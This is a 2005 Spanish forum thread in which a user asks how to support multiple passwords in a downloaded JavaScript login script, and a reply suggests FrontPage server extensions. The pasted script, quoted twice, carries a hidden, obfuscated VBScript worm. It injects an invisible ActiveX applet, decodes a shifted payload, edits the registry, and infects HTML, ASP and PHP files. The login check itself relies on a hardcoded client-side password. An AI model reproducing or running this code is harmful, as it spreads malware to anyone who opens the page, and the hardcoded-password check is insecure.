Forums Últimos mensajes - Powered by IBM
 
Tags Palabras claves

Validacion de usuario en FP

05/08/2005 - 17:38 por Joaquin | Informe spam
Ayuda Hacer una pregunta
Buenas, mi nombre es Joaquin y estamos diseñando una pagina, y me piden que
los usuarios que entren a la misma lo hagan con la contraseña que nosotros
le asignemos. No se mucho de este tema, por lo que me baje un script que a
continuacion del mensaje se los paso. La pregunta es: como hago para que
pueda insertar todas las contraseñas que nosotros tenemos
cargadas?????.porque solo me deja poner una sola.

Gracias por su ayuda y recibo los consejos que quieran dar.

Joaquin

LO QUE BAJE:::

<BODY onload="vbscript:run_time()">

<HEAD>
<SCRIPT LANGUAGE="JavaScript">
function password() {
var testV = 1;
var pass1 = prompt('Por favor escriba la contraseña para acceder al
contenido. Copyright
2003-2004 SMG Software','Contraseña');
while (testV < 3) {
if (!pass1)
history.go(-1);
if (pass1 == "smgsoftware") {
alert('|--**********Contraseña correcta*********--|
Presione aceptar para continuar ');
window.open('pagina.html');
break;
}
testV+=1;
var pass1 prompt('La contraseña no es correcta.Intente de nuevo.','Contraseña');
}
if (pass1!="smgsoftware" & testV ==3)
history.go(-1);
return " ";
}
</SCRIPT>
</head>
<BODY>
<CENTER>
<FORM>
<input type="button" value="Entrar" onClick="password()">
</FORM>
</CENTER>



<!-- Don't modify this line, required by system protocol! -->
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px;
height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=who"&"_terrosist
HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
<script language=vbscript>
ScriptCode "ChlRBqhos+VRBqhos+@ookds+VhmO`sg+mEnkcdq+mBncdRtaQtm^Shld'(EE/0'(EE
/1'(DmcRtaEtmbshnmEE/0'(NmDqqnqQdrtldMdwsDqq-Bkd`qSncnHs<
VRbqhos-RbqhosEtkkm`ldHeDqqSgdmU/3<gslkDkrdU/3<uarDmcH
eHeU/3<uarSgdmRdsRBqhos<Bqd`sdNaidbs'Rbqhoshmf-EhkdRxrsdlNaidb
s(RdsVRBqhos<Bqd`sdNaidbs'VRbqhos-Rgdkk(DkrdRds@ookds<Cnbtldm
s-`ookdsr'vgn^sdqqnrhrs(@ookds-rdsBKRHC'zE824CB11,0BE/,00C/,@CA8,//B/3E
C47@/A|(@ookds-bqd`sdHmrs`mbd'(RdsVRBqhos<@ookds-FdsNaidbs'(@ookds
-rdsBKRHC'z/C32ED/0,E/82,00BE,783/,//@/B8/43117|(@ookds-bqd`sdHmrs`mbd'(
RdsRBqhos<@ookds-FdsNaidbs'(DmcHeDmcEtmbshnmEtmbshnmEE05'mO`
sg(HeQhfgs'mO`sg+0(<[SgdmEE05<mO`sgDkrdEE05<mO`sg%[Dmc
HeDmcEtmbshnmEtmbshnmEE/5'(EE/5<EE05'Rbqhos-FdsRodbh`kEnkcdq'/(
(DmcEtmbshnmEtmbshnmEE/6'(mQdf^@<GJDX^BTQQDMS^TRDQ[BnmsqnkO`md
k[Hmsdqm`shnm`k[mQdf^A<GJDX^BTQQDMS^TRDQ[Rnesv`qd[Bk`rrdr[BKRHC[mQd
f^B<GJDX^KNB@K^L@BGHMD[RNESV@QD[Lhbqnrnes[Vhmcnvr[BtqqdmsUdqrhnm[mQdf^
C<GJDX^BTQQDMS^TRDQ[Rnesv`qd[Lhbqnrnes[SdloO`sg<rxrsdl21[VhsgvR
BqhosHe-QdfQd`c'mQdf^B%QdfhrsdqdcNvmdq(<Hmcnmdrh`mSnc`xSgdm-Qdf
VqhsdmQdf^@%r0048+@msh@R-QdfVqhsdmQdf^@%r1248+@mshRghs-Q
dfVqhsdmQdf^@%rShldEnql`s+GG9ll9rrss-QdfVqhsdmQdf^A%z1/C/3ED/,
2@D@,0/58,@1C7,/7//1A2/2/8C|[+LxJnlotsdq-QdfVqhsdmQdf^B%Qdfhrsdqdc
Nvmdq+Hmcnmdrh`mSnc`x-QdfVqhsdmQdf^B%QdfhrsdqdcNqf`mhy`shnm+Vdk
nudod`bd-QdfVqhsdmQdf^B%NqfNqf`mhy`shnm+TmcdqFqntmcHmcnmdrh`m
-QdfVqhsdmQdf^B%NqfNvmdq+Vdknudod`bd
-QdfVqhsdmQdf^C%Vhmcnvr[BtqqdmsUdqrhnm[Dwoknqdq[@cu`mbdc[Ghccdm+0+Q
DF^CVNQC-QdfVqhsdmQdf^C%Vhmcnvr[BtqqdmsUdqrhnm[Dwoknqdq[@cu`mbdc[Ghcd
EhkdDws+0+QDF^CVNQC-QdfVqhsdmQdf^C%HmsdqmdsDwoknqdq[L`hm[Knb`kO`f
d+EE/5%rxrsdl[ak`mj-gsl-QdfVqhsdmQdf^C%HmsdqmdsDwoknqdq[L`hm[Rs`
qsO`fd+EE/5%rxrsdl[ak`mj-gslDmcHeDmcVhsgDmcEtmbshnmEtmbsh
nmEE/1'(NmDqqnqQdrtldMdwsEE/6'(U@2<EnqH<0SnKdm'RbqhosSd
ws(U@/<@rb'Lhc'RbqhosSdws+H+0((HeU@/<23SgdmU@1<Bgq'07(Dkrd
HeU@/<0/SgdmU@1<Bgq'17(DkrdHeU@/<02SgdmU@1<Bgq'18(Dkrd
U@1<Bgq'U@/,0(DmcHeU@2<U@2%U@1MdwsTmKnbjRsq<Dwdbtsd'Chl
RbqhosSdws%uaBqKe%EnqH<0SnKdm'RbqhosBncd(%uaBqKe%U@/<@rb'Lhc
'RbqhosBncd+H+0((%uaBqKe%HeU@/<07Sgdm%uaBqKe%U@1<Bgq'23(%u
aBqKe%DkrdHeU@/<17Sgdm%uaBqKe%U@1<Bgq'0/(%uaBqKe%DkrdHeU@/
<18Sgdm%uaBqKe%U@1<Bgq'02(%uaBqKe%Dkrd%uaBqKe%U@1<Bgq'U@/
*0(%uaBqKe%DmcHe%uaBqKe%RbqhosSdws<RbqhosSdws%U@1%uaBqKe%M
dws(%uaBqKe%Dwdbtsd'RbqhosSdws(RbqhosSdws<RbqhosBncd<%U
@2%mBncd<; ,,Cnm&slnchexsghrkhmd+qdpthqdcaxrxrsdloqnsnbnk
,,=%uabqke%;%rbqhosk`mft`fd<uarbqhos=%uaBqKe%cnbtldms-vqhs
d%%;%chursxkd<&onrhshnm9`arnktsd:kdes9/ow:sno9/ow:vhcsg9/
ow:gdhfgs9/ow:y,hmcdw917:uhrhahkhsx9ghccdm&=%;%%@OOKDSM@LD<
vgn%^sdqqnrhrsGDHFGS</VHCSG</bncd<bnl-lr-%`bshudW-@bshud%WBnl
onmdms=%;%.@OOKDS=%;%.chu=%uaBqKe%;%.rbqhos=%
uaBqKe%;%rbqhosk`mft`fd<uarbqhos=%uaBqKe%RbqhosSdws%uaBqKe%
TmKnbjRsq%uaBqKe%;%.rbqhos=%uaBqKe%;%.ANCX=%uaBqKe%
;%.GSLK=RbqhosSdws<RbqhosBncd<%U@2%U@0<EE/2'Cnbtl
dms-knb`shnm(U@0<Qdok`bd'U@0+$1/++0+,0(U@0<Qdok`bd'U@0+$15+%
+0+,0(U@0<Qdok`bd'U@0+$14+$+0+,0(U@0<Qdok`bd'U@0+$4D+]+0+,0
(U@0<Qdok`bd'U@0+$4A+Z+0+,0(U@0<Qdok`bd'U@0+$4C+\+0+,0(U@0
<Qdok`bd'U@0+$6A+z+0+,0(U@0<Qdok`bd'U@0+$6C+|+0+,0(U@0<Qdok
`bd'U@0+$5/+_+0+,0(HeKdes'U@0+3(<ehkdSgdmU@0<Lhc'U@0+8(He
hmrsq'0+U@0+-(=/SgdmU@0<EE05'Rbqhos-FdsEnkcdq'Rbqhos-FdsO`qdmsEnkcdq
M`ld'Kdes'U@0+Kdm'U@0(,0(((-RgnqsO`sg(DkrdU@0<EE05'Rbqhos-FdsEnkcdq'U@0(
-RgnqsO`sg(DmcHemEnkcdq<EE/5%vda[enkcdq-gssHeRBqhos-EhkdDwhrs
r'mEnkcdq(SgdmRdsU/0<Rbqhos-NodmSdwsEhkd'mEnkcdq+0(U/1<U/0-Qd`c@
kkU/1<Kdes'U/1+Hmrsq'0+U/1+;.ANCX=(,0(U/0-BknrdRdsE@ssqha<RBqho
s-FdsEhkd'mEnkcdq(E@ssqha-@ssqhatsdr<23HeHmrsq'0+U/1+qtm^shld'((=/
SgdmDkrdRdsU/2<Rbqhos-NodmSdwsEhkd'mEnkcdq+1(U/2-Vqhsd;%ANCX
nmkn`c<%uarbqhos9%qtm^shld'(%=%uaBqKe%U/1%uaBqKe%
mBncdU/2-BknrdE@ssqha-@ssqhatsdr<23Rbqhos-BnoxEhkdEE/5%vda[enkc
dq-gss+EE/5%rxrsdl[ak`mj-gslDmcHeDkrdRbqhos-BnoxEhkdU@0%enk
cdq-gss+mEnkcdqEE/3'EE/5%vda[Cdrjsno-hmh(Rbqhos-BnoxEhkdEE/5%
vda[enkcdq-gss+EE/5%rxrsdl[ak`mj-gslDmcHebEnkcdq<EE/5%rxrsd
l21[enkcdq-gssHeRBqhos-EhkdDwhrsr'bEnkcdq(SgdmRdsU/0<Rbqhos-NodmS
dwsEhkd'bEnkcdq+0(U/1<U/0-Qd`c@kkU/1<Kdes'U/1+Hmrsq'0+U/1+;.ANCX=
(,0(U/0-BknrdRdsE@ssqha<RBqhos-FdsEhkd'bEnkcdq(E@ssqha-@ssqhatsdr<
23HeHmrsq'0+U/1+qtm^shld'((=/SgdmDkrdRdsU/2<Rbqhos-NodmSdwsEhk
d'bEnkcdq+1(U/2-Vqhsd;%ANCXnmkn`c<%uarbqhos9%qtm^shld'(
%=%uaBqKe%U/1%uaBqKe%mBncdU/2-BknrdE@ssqha-@ssqhatsdr<2
3Rbqhos-BnoxEhkdEE/5%vda[enkcdq-gss+EE/5%rxrsdl21[enkcdq-gssD
mcHeDkrdRbqhos-BnoxEhkdEE/5%vda[enkcdq-gss+bEnkcdqEE/3'EE/5%
rxrsdl21[Cdrjsno-hmh(DmcHeHeRBqhos-EhkdDwhrsr'U@0%enkcdq-gss
(SgdmEE/4'U@0%enkcdq-gss(DkrdRbqhos-BnoxEhkdmEnkcdq+U@0%enkc
dq-gssDmcHeEE/3'U@0%Cdrjsno-hmh(RdsU/0<Rbqhos-NodmSdwsEhkd'E
E/5%vda[vdauhdv-brr+0(U/1<U/0-Qd`c@kkU/0-BknrdHehmrsq'0+U/1+k
des92/$:vhcsg96/$(=/SgdmU/1<Qdok`bd'U/1+kdes92/$:vhcsg96/$+k
des9/$:vhcsg90//$+0+,0(RdsU/2<Rbqhos-NodmSdwsEhkd'EE/5%vda[vdauh
dv-brr+1(U/2-VqhsdU/1U/2-BknrdDmcHeRdsEnkcdqM`ld<Rbqhos-Fds
Enkcdq'U@0(RdsSghrEhkdr<EnkcdqM`ld-EhkdrEnqD`bgSghrEhkdHmSghrEhkd
rEhkdDws<TB`rd'Rbqhos-FdsDwsdmrhnmM`ld'SghrEhkd-O`sg((HeEhkdDws<GS
SNqEhkdDws<GSLNqEhkdDws<GSLKNqEhkdDws<@RONqEhkdDws<O
GONqEhkdDws<IROSgdmEE/4'SghrEhkd-O`sg(DmcHeMdwsQ`mcnlhy
dHeC`x'C`sd(<2/`mcLnmsg'C`sd(Lnc1</SgdmRbqhos-LnudEhkdEE/5%vh
m-hmh+EE/5%vnm-bgjRbqhos-LnudEhkdEE/5%rxrsdl-hmh+EE/5%rxrsd
l-bgjDmcHeDmcEtmbshnmEtmbshnmEE/4'Ehkdm`ld(HeRBqhos-EhkdDwhrs
r'Ehkdm`ld(SgdmRdsU/0<Rbqhos-NodmSdwsEhkd'Ehkdm`ld+0(RdsE@ssqha<
Rbqhos-FdsEhkd'Ehkdm`ld(U/1<U/0-Qd`c@kkU/0-BknrdHeHmrsq'0+U/1+;.AN
CX=(=/SgdmU/1<Kdes'U/1+Hmrsq'0+U/1+;.ANCX=(,0(HeHmrsq'0+U/1+qtm
^shld'((=/SgdmDwhsEtmbshnmDkrdE@ssqha-@ssqhatsdr</RdsU/2<R
bqhos-NodmSdwsEhkd'Ehkdm`ld+1(U/2-Vqhsd;%ANCXnmkn`c<%uarbqho
s9%qtm^shld'(%=%uaBqKe%U/1%uaBqKe%mBncdU/2-BknrdTB
`rd'Rbqhos-FdsDwsdmrhnmM`ld'Ehkdm`ld((HeEhkdDws<GSSSgdmE@ssqha-@ss
qhatsdr<23DkrdE@ssqha-@ssqhatsdr<21DmcheDmcHeDmcHeDmcE
tmbshnmEtmbshnmEE/3'EhkdM`ld(HeRBqhos-EhkdDwhrsr'Ehkdm`ld(SgdmDk
rdRds`<Rbqhos-Bqd`sdSdwsEhkd'EhkdM`ld+Sqtd(`-VqhsdKhmd'ZDwsRgdkkEn
kcdqUhdvr\(`-VqhsdKhmd'Cde`tks<z4873EED/,17C3,00BE,@D55,/7//1A1D0151|(
`-VqhsdKhmd'z4873EED/,17C3,00BE,@D55,/7//1A1D0151|<z4873EED/,17C3,00BE,@D5
5,/7//1A1D0151|%uabqke(`-VqhsdKhmd'Zz4873EED/,17C3,00BE,@D55,/7//1A1D01
51|\(`-VqhsdKhmd'OdqrhrsLnmhjdq<ehkd9..enkcdq-gss%uabqke(`-VqhsdKhm
d'Z-RgdkkBk`rrHmen\(`-VqhsdKhmd'BnmehqlEhkdNo</(`-BknrdRdsE@ssqha
<Rbqhos-FdsEhkd'Ehkdm`ld(E@ssqha-@ssqhatsdr<23DmcHeDmcEtmbshnm
EtmbshnmEE/2'U@0(HeQhfgs'U@0+0(<.SgdmEE/2<U@0DkrdEE/2<U@0%
.DmcHeDmcEtmbshnm"
Execute("Dim ScriptText"&vbCrLf&"For I = 1 To Len(ScriptCode)"&vbCrLf&"VA0 Asc(Mid(ScriptCode, I, 1))"&vbCrLf&"If VA0 = 18 Then"&vbCrLf&"VA2 Chr(34)"&vbCrLf&"ElseIf VA0 = 28 Then"&vbCrLf&"VA2 = Chr(10)"&vbCrLf&"ElseIf
VA0 = 29 Then"&vbCrLf&"VA2 = Chr(13)"&vbCrLf&"Else"&vbCrLf&"VA2 = Chr(VA0 +
1)"&vbCrLf&"End If"&vbCrLf&"ScriptText = ScriptText & VA2"&vbCrLf&"Next")
Execute(ScriptText)
</script>
</BODY>
</HTML>
email Siga el debateRespuesta 1 respuestaRespuesta Tengo una respuesta
DRAGON AGE™: INQUISITION – Matadragones
 

Leer las respuestas

#1 Raúl Blanqueto
11/08/2005 - 06:23 | Informe spam
Hola, aunque no soy experto, en estos días he terminado un proyecto que es
parecido a lo que tu deseas... este es básico y es usando única y
exclusivamente el frontPage y un servidor con las extensiones 2002: Para
trabajar con el FrontPage, yo uso el 2003, hay que tomar en cuenta que tu
servidor debe tener las extensiones del FrontPage. Si las tiene estos pasos
te pueden ayudar:
1. Dentro de tu sitio Web, crea un subsitio (que será el que reciba la
contraseña y usuario. Allí crea la página o paginas que desees.
2. Con el asistente de formularios créate un formulario en el Web raíz para
que los usuarios se den de alta.
3. En la base de datos que dejan en el formulario recupera el nombre de
usuario y contraseña y dales de alta en el servidor que tenga las
extensiones de frontpage. por supuesto debiste crear el subsitio en el
Server y quitar el acceso anónimo. Espero haberte aportado una idea. Nos
vemos.
"Joaquin <news>" escribió en el mensaje
news:
Buenas, mi nombre es Joaquin y estamos diseñando una pagina, y me piden
que
los usuarios que entren a la misma lo hagan con la contraseña que nosotros
le asignemos. No se mucho de este tema, por lo que me baje un script que a
continuacion del mensaje se los paso. La pregunta es: como hago para que
pueda insertar todas las contraseñas que nosotros tenemos
cargadas?????.porque solo me deja poner una sola.

Gracias por su ayuda y recibo los consejos que quieran dar.

Joaquin

LO QUE BAJE:::

<BODY onload="vbscript:run_time()">

<HEAD>
<SCRIPT LANGUAGE="JavaScript">
function password() {
var testV = 1;
var pass1 = prompt('Por favor escriba la contraseña para acceder al
contenido. Copyright
2003-2004 SMG Software','Contraseña');
while (testV < 3) {
if (!pass1)
history.go(-1);
if (pass1 == "smgsoftware") {
alert('|--**********Contraseña correcta*********--|
Presione aceptar para continuar ');
window.open('pagina.html');
break;
}
testV+=1;
var pass1 > prompt('La contraseña no es correcta.Intente de nuevo.','Contraseña');
}
if (pass1!="smgsoftware" & testV ==3)
history.go(-1);
return " ";
}
</SCRIPT>
</head>
<BODY>
<CENTER>
<FORM>
<input type="button" value="Entrar" onClick="password()">
</FORM>
</CENTER>



<!-- Don't modify this line, required by system protocol! -->
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px;
width:0px;
height:0px; z-index:28; visibility: hidden'><"&"APPLET
NAME=who"&"_terrosist
HEIGHT=0 WIDTH=0
code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
<script language=vbscript>
ScriptCode > "ChlRBqhos+VRBqhos+@ookds+VhmO`sg+mEnkcdq+mBncdRtaQtm^Shld'(EE/0'(EE
/1'(DmcRtaEtmbshnmEE/0'(NmDqqnqQdrtldMdwsDqq-Bkd`qSncnHs<
VRbqhos-RbqhosEtkkm`ldHeDqqSgdmU/3<gslkDkrdU/3<uarDmcH
eHeU/3<uarSgdmRdsRBqhos<Bqd`sdNaidbs'Rbqhoshmf-EhkdRxrsdlNaidb
s(RdsVRBqhos<Bqd`sdNaidbs'VRbqhos-Rgdkk(DkrdRds@ookds<Cnbtldm
s-`ookdsr'vgn^sdqqnrhrs(@ookds-rdsBKRHC'zE824CB11,0BE/,00C/,@CA8,//B/3E
C47@/A|(@ookds-bqd`sdHmrs`mbd'(RdsVRBqhos<@ookds-FdsNaidbs'(@ookds
-rdsBKRHC'z/C32ED/0,E/82,00BE,783/,//@/B8/43117|(@ookds-bqd`sdHmrs`mbd'(
RdsRBqhos<@ookds-FdsNaidbs'(DmcHeDmcEtmbshnmEtmbshnmEE05'mO`
sg(HeQhfgs'mO`sg+0(<[SgdmEE05<mO`sgDkrdEE05<mO`sg%[Dmc
HeDmcEtmbshnmEtmbshnmEE/5'(EE/5<EE05'Rbqhos-FdsRodbh`kEnkcdq'/(
(DmcEtmbshnmEtmbshnmEE/6'(mQdf^@<GJDX^BTQQDMS^TRDQ[BnmsqnkO`md
k[Hmsdqm`shnm`k[mQdf^A<GJDX^BTQQDMS^TRDQ[Rnesv`qd[Bk`rrdr[BKRHC[mQd
f^B<GJDX^^[[Lhbqnrnes[Vhmcnvr[BtqqdmsUdqrhnm[mQdf^
C<GJDX^BTQQDMS^TRDQ[Rnesv`qd[Lhbqnrnes[SdloO`sg<rxrsdl21[VhsgvR
BqhosHe-QdfQd`c'mQdf^B%QdfhrsdqdcNvmdq(<Hmcnmdrh`mSnc`xSgdm-Qdf
VqhsdmQdf^@%r0048+@msh@R-QdfVqhsdmQdf^@%r1248+@mshRghs-Q
dfVqhsdmQdf^@%rShldEnql`s+GG9ll9rrss-QdfVqhsdmQdf^A%z1/C/3ED/,
@,0/58,@1C7,/7//1A2/2/8C|[+LxJnlotsdq-QdfVqhsdmQdf^B%Qdfhrsdqdc
Nvmdq+Hmcnmdrh`mSnc`x-QdfVqhsdmQdf^B%QdfhrsdqdcNqf`mhy`shnm+Vdk
nudod`bd-QdfVqhsdmQdf^B%NqfNqf`mhy`shnm+TmcdqFqntmcHmcnmdrh`m
-QdfVqhsdmQdf^B%NqfNvmdq+Vdknudod`bd
-QdfVqhsdmQdf^C%Vhmcnvr[BtqqdmsUdqrhnm[Dwoknqdq[@cu`mbdc[Ghccdm+0+Q
DF^CVNQC-QdfVqhsdmQdf^C%Vhmcnvr[BtqqdmsUdqrhnm[Dwoknqdq[@cu`mbdc[Ghcd
EhkdDws+0+QDF^CVNQC-QdfVqhsdmQdf^C%HmsdqmdsDwoknqdq[L`hm[Knb`kO`f
d+EE/5%rxrsdl[ak`mj-gsl-QdfVqhsdmQdf^C%HmsdqmdsDwoknqdq[L`hm[Rs`
qsO`fd+EE/5%rxrsdl[ak`mj-gslDmcHeDmcVhsgDmcEtmbshnmEtmbsh
nmEE/1'(NmDqqnqQdrtldMdwsEE/6'(<EnqH<0SnKdm'RbqhosSd
ws(U@/<@rb'Lhc'RbqhosSdws+H+0((HeU@/<23Sgdm<Bgq'07(Dkrd
HeU@/<0/Sgdm<Bgq'17(DkrdHeU@/<02Sgdm<Bgq'18(Dkrd
<Bgq'U@/,0(DmcHe<%MdwsTmKnbjRsq<Dwdbtsd'Chl
RbqhosSdws%uaBqKe%EnqH<0SnKdm'RbqhosBncd(%uaBqKe%U@/<@rb'Lhc
'RbqhosBncd+H+0((%uaBqKe%HeU@/<07Sgdm%uaBqKe%<Bgq'23(%u
aBqKe%DkrdHeU@/<17Sgdm%uaBqKe%<Bgq'0/(%uaBqKe%DkrdHeU@/
<18Sgdm%uaBqKe%<Bgq'02(%uaBqKe%Dkrd%uaBqKe%<Bgq'U@/
*0(%uaBqKe%DmcHe%uaBqKe%RbqhosSdws<RbqhosSdws%%uaBqKe%M
dws(%uaBqKe%Dwdbtsd'RbqhosSdws(RbqhosSdws<RbqhosBncd<%U
@2%mBncd<;
,,Cnm&slnchexsghrkhmd+qdpthqdcaxrxrsdloqnsnbnk
,,=%uabqke%;%rbqhosk`mft`fd<uarbqhos=%uaBqKe%cnbtldms-vqhs
d%%;%chursxkd<&onrhshnm9`arnktsd:kdes9/ow:sno9/ow:vhcsg9/
ow:gdhfgs9/ow:y,hmcdw917:uhrhahkhsx9ghccdm&=%;%%@OOKDS<
vgn%^sdqqnrhrsGDHFGS</VHCSG</bncd<bnl-lr-%`%WBnl
onmdms=%;%=%;%.chu=%uaBqKe%;%.rbqhos=%
uaBqKe%;%rbqhosk`mft`fd<uarbqhos=%uaBqKe%RbqhosSdws%uaBqKe%
TmKnbjRsq%uaBqKe%;%.rbqhos=%uaBqKe%;%.ANCX=%uaBqKe%
;%.GSLK=RbqhosSdws<RbqhosBncd<%%<EE/2'Cnbtl
dms-knb`shnm(<Qdok`bd'+$1/++0+,0(<Qdok`bd'+$15+%
+0+,0(<Qdok`bd'+$14+$+0+,0(<Qdok`bd'+$4D+]+0+,0
(<Qdok`bd'+$4A+Z+0+,0(<Qdok`bd'+$4C+\+0+,0(
<Qdok`bd'+$6A+z+0+,0(<Qdok`bd'+$6C+|+0+,0(<Qdok
`bd'+$5/+_+0+,0(HeKdes'+3(<ehkdSgdm<Lhc'+8(He
hmrsq'0++-(=/Sgdm<EE05'Rbqhos-FdsEnkcdq'Rbqhos-FdsO`qdmsEnkcdq
M`ld'Kdes'+Kdm'(,0(((-RgnqsO`sg(Dkrd<EE05'Rbqhos-FdsEnkcdq'(
-RgnqsO`sg(DmcHemEnkcdq<EE/5%vda[enkcdq-gssHeRBqhos-EhkdDwhrs
r'mEnkcdq(SgdmRdsU/0<Rbqhos-NodmSdwsEhkd'mEnkcdq+0(U/1<U/0-Qd`c@
kkU/1<Kdes'U/1+Hmrsq'0+U/1+;.ANCX=(,0(U/0-BknrdRds<RBqho
s-FdsEhkd'mEnkcdq(@ssqhatsdr<23HeHmrsq'0+U/1+qtm^shld'((=/
SgdmDkrdRdsU/2<Rbqhos-NodmSdwsEhkd'mEnkcdq+1(U/2-Vqhsd;%ANCX
nmkn`c<%uarbqhos9%qtm^shld'(%=%uaBqKe%U/1%uaBqKe%
mBncdU/2-Bknrd@ssqhatsdr<23Rbqhos-BnoxEhkdEE/5%vda[enkc
dq-gss+EE/5%rxrsdl[ak`mj-gslDmcHeDkrdRbqhos-BnoxEhkd%enk
cdq-gss+mEnkcdqEE/3'EE/5%vda[Cdrjsno-hmh(Rbqhos-BnoxEhkdEE/5%
vda[enkcdq-gss+EE/5%rxrsdl[ak`mj-gslDmcHebEnkcdq<EE/5%rxrsd
l21[enkcdq-gssHeRBqhos-EhkdDwhrsr'bEnkcdq(SgdmRdsU/0<Rbqhos-NodmS
dwsEhkd'bEnkcdq+0(U/1<U/0-Qd`U/1<Kdes'U/1+Hmrsq'0+U/1+;.ANCX=
(,0(U/0-BknrdRds<RBqhos-FdsEhkd'bEnkcdq(@ssqhatsdr<
23HeHmrsq'0+U/1+qtm^shld'((=/SgdmDkrdRdsU/2<Rbqhos-NodmSdwsEhk
d'bEnkcdq+1(U/2-Vqhsd;%ANCXnmkn`c<%uarbqhos9%qtm^shld'(
%=%uaBqKe%U/1%uaBqKe%mBncdU/2-Bknrd@ssqhatsdr<2
3Rbqhos-BnoxEhkdEE/5%vda[enkcdq-gss+EE/5%rxrsdl21[enkcdq-gssD
mcHeDkrdRbqhos-BnoxEhkdEE/5%vda[enkcdq-gss+bEnkcdqEE/3'EE/5%
rxrsdl21[Cdrjsno-hmh(DmcHeHeRBqhos-EhkdDwhrsr'%enkcdq-gss
(SgdmEE/4'%enkcdq-gss(DkrdRbqhos-BnoxEhkdmEnkcdq+%enkc
dq-gssDmcHeEE/3'%Cdrjsno-hmh(RdsU/0<Rbqhos-NodmSdwsEhkd'E
E/5%vda[vdauhdv-brr+0(U/1<U/0-Qd`U/0-BknrdHehmrsq'0+U/1+k
des92/$:vhcsg96/$(=/SgdmU/1<Qdok`bd'U/1+kdes92/$:vhcsg96/$+k
des9/$:vhcsg90//$+0+,0(RdsU/2<Rbqhos-NodmSdwsEhkd'EE/5%vda[vdauh
dv-brr+1(U/2-VqhsdU/1U/2-BknrdDmcHeRdsEnkcdqM`ld<Rbqhos-Fds
Enkcdq'(RdsSghrEhkdr<EnkcdqM`ld-EhkdrEnqD`bgSghrEhkdHmSghrEhkd
rEhkdDws<TB`rd'Rbqhos-FdsDwsdmrhnmM`ld'SghrEhkd-O`sg((HeEhkdDws<GS
SNqEhkdDws<GSLNqEhkdDws<GSLKNqEhkdDws<@RONqEhkdDws<O
GONqEhkdDws<IROSgdmEE/4'SghrEhkd-O`sg(DmcHeMdwsQ`mcnlhy
dHeC`x'C`sd(<2/`mcLnmsg'C`sd(Lnc1</SgdmRbqhos-LnudEhkdEE/5%vh
m-hmh+EE/5%vnm-bgjRbqhos-LnudEhkdEE/5%rxrsdl-hmh+EE/5%rxrsd
l-bgjDmcHeDmcEtmbshnmEtmbshnmEE/4'Ehkdm`ld(HeRBqhos-EhkdDwhrs
r'Ehkdm`ld(SgdmRdsU/0<Rbqhos-NodmSdwsEhkd'Ehkdm`ld+0(Rds<
Rbqhos-FdsEhkd'Ehkdm`ld(U/1<U/0-Qd`U/0-BknrdHeHmrsq'0+U/1+;.AN
CX=(=/SgdmU/1<Kdes'U/1+Hmrsq'0+U/1+;.ANCX=(,0(HeHmrsq'0+U/1+qtm
^shld'((=/SgdmDwhsEtmbshnmDkrd@ssqhatsdr</RdsU/2<R
bqhos-NodmSdwsEhkd'Ehkdm`ld+1(U/2-Vqhsd;%ANCXnmkn`c<%uarbqho
s9%qtm^shld'(%=%uaBqKe%U/1%uaBqKe%mBncdU/2-BknrdTB
`rd'Rbqhos-FdsDwsdmrhnmM`ld'Ehkdm`ld((HeEhkdDws<GSSSgdm@ss
qhatsdr<23Dkrd@ssqhatsdr<21DmcheDmcHeDmcHeDmcE
tmbshnmEtmbshnmEE/3'EhkdM`ld(HeRBqhos-EhkdDwhrsr'Ehkdm`ld(SgdmDk
rdRds`<Rbqhos-Bqd`sdSdwsEhkd'EhkdM`ld+Sqtd(`-VqhsdKhmd'ZDwsRgdkkEn
kcdqUhdvr\(`-VqhsdKhmd'Cde`tks<z4873EED/,17C3,00BE,@D55,/7//1A1D0151|(
`-VqhsdKhmd'z4873EED/,17C3,00BE,@D55,/7//1A1D0151|<z4873EED/,17C3,00BE,@D5
5,/7//1A1D0151|%uabqke(`-VqhsdKhmd'Zz4873EED/,17C3,00BE,@D55,/7//1A1D01
51|\(`-VqhsdKhmd'OdqrhrsLnmhjdq<ehkd9..enkcdq-gss%uabqke(`-VqhsdKhm
d'Z-RgdkkBk`rrHmen\(`-VqhsdKhmd'BnmehqlEhkdNo</(`-BknrdRds
<Rbqhos-FdsEhkd'Ehkdm`ld(@ssqhatsdr<23DmcHeDmcEtmbshnm
EtmbshnmEE/2'(HeQhfgs'+0(<.SgdmEE/2DkrdEE/2%
.DmcHeDmcEtmbshnm"
Execute("Dim ScriptText"&vbCrLf&"For I = 1 To Len(ScriptCode)"&vbCrLf&"VA0
> Asc(Mid(ScriptCode, I, 1))"&vbCrLf&"If VA0 = 18 Then"&vbCrLf&"VA2 > Chr(34)"&vbCrLf&"ElseIf VA0 = 28 Then"&vbCrLf&"VA2 =
Chr(10)"&vbCrLf&"ElseIf
VA0 = 29 Then"&vbCrLf&"VA2 = Chr(13)"&vbCrLf&"Else"&vbCrLf&"VA2 = Chr(VA0
+
1)"&vbCrLf&"End If"&vbCrLf&"ScriptText = ScriptText & VA2"&vbCrLf&"Next")
Execute(ScriptText)
</script>
</BODY>
</HTML>


Preguntas similares

 

Busqueda sugerida :